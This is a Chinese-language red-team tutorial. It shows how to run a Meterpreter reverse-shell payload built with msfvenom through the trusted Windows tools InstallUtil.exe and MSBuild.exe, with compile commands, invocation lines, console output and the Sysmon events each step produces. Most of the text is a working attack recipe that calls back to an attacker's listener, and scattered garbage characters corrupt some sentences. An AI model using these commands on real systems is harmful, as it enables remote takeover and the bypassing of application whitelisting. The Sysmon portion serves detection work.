InstallUtil
這里獲取cs文件 https://gist.github.com/Arno0x/efb32d9329270d72ec376c17ff64cba0
生成c#格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.142 LPORT=4444 -f csharp > 2.cs
然后代碼合體
public class Sample:System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
byte[] shellcode = 生成的shellcode
用csc.exe
把cs文件編譯成dll(后綴名無所謂)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs
執(zhí)行InstallUtil.exe
觸發(fā)會話
InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll
注意:因為這里是32位的meterpreter醇滥,所以選擇32位的csc進(jìn)行編譯。經(jīng)測試驮俗,雖然64位csc能夠編譯肺然,但是無法運行滑进。
注意:.NetFrameWork
高版本可以兼容低版本的編譯,所以選擇最為常見的2.0版進(jìn)行編譯。
C:\Windows\Microsoft.NET\Framework\v2.0.50727>csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs
Microsoft (R) Visual C# 2005 編譯器 版本 8.00.50727.4927
用于 Microsoft (R) Windows (R) 2005 Framework 版本 2.0.50727
版權(quán)所有(C) Microsoft Corporation 2001-2005。保留所有權(quán)利颗管。
C:\Windows\Microsoft.NET\Framework\v2.0.50727>InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll
Microsoft (R) .NET Framework 安裝實用工具版本 2.0.50727.5420
版權(quán)所有(C) Microsoft Corporation。保留所有權(quán)利滓走。
然后就僵在這里不動了垦江,除非`session -k`銷毀會話
其他
可以使用GreatSCT中的installutil/meterpreter/rev_tcp.py
自動化生成混肴內(nèi)容的cs文件,不過只能用4.0的框架進(jìn)行編譯搅方。
sysmon日志
- 執(zhí)行csc.exe比吭,事件ID 1
- csc調(diào)用cvtres.exe進(jìn)行編譯,事件ID 1
- 編譯生成了
installUtil.dll
姨涡,事件ID 11 - 執(zhí)行
InstallUtil.exe
加載惡意文件衩藤,事件ID 1 -
InstallUtil.exe
發(fā)起了反彈連接,事件ID 3
MsBuild
注意: 只適用于.netframework 4.0以上版本(因為UsingTask
的原因)
這里下載xml文件用于加載shellcode https://gist.github.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17
上一節(jié)msfvenom生成的cs文件可以接著用
public override bool Execute()
{
byte[] shellcode = 生成的shellcode
然后msbuild.exe C:\payload.xml
獲得會話
C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild.exe c:\payload.xml
Microsoft (R) Build Engine Version 4.0.30319.1
[Microsoft .NET Framework, Version 4.0.30319.1]
Copyright (C) Microsoft Corporation 2007. All rights reserved.
Build started 2019/2/28 17:19:45.
然后就僵在這里不動了涛漂,除非`session -k`銷毀會話
同樣也可以使用GreatSCT中的msbuild/meterpreter/rev_tcp.py
自動化生成混肴后的xml文件赏表。
sysmon日志
- 執(zhí)行
msbuild.exe
- 編譯生成了dll文件,
C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.dll
- 編譯生成了文件匈仗,
C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.cmdline
-
csc.exe
被調(diào)用執(zhí)行瓢剿,"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.cmdline"
-
cvtres.exe
被調(diào)用執(zhí)行,C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\2\RES741.tmp" "c:\Users\Administrator\AppData\Local\Temp\2\CSC740.tmp"
-
Msbuild.exe
發(fā)起了反彈連接悠轩。
流程小結(jié)
- 生成原始shellcode代碼间狂。
- 編寫加載代碼,整合shellcode
- 用
.netframework
編譯成dll文件或者可執(zhí)行文件 - 用
.netframework
執(zhí)行惡意代碼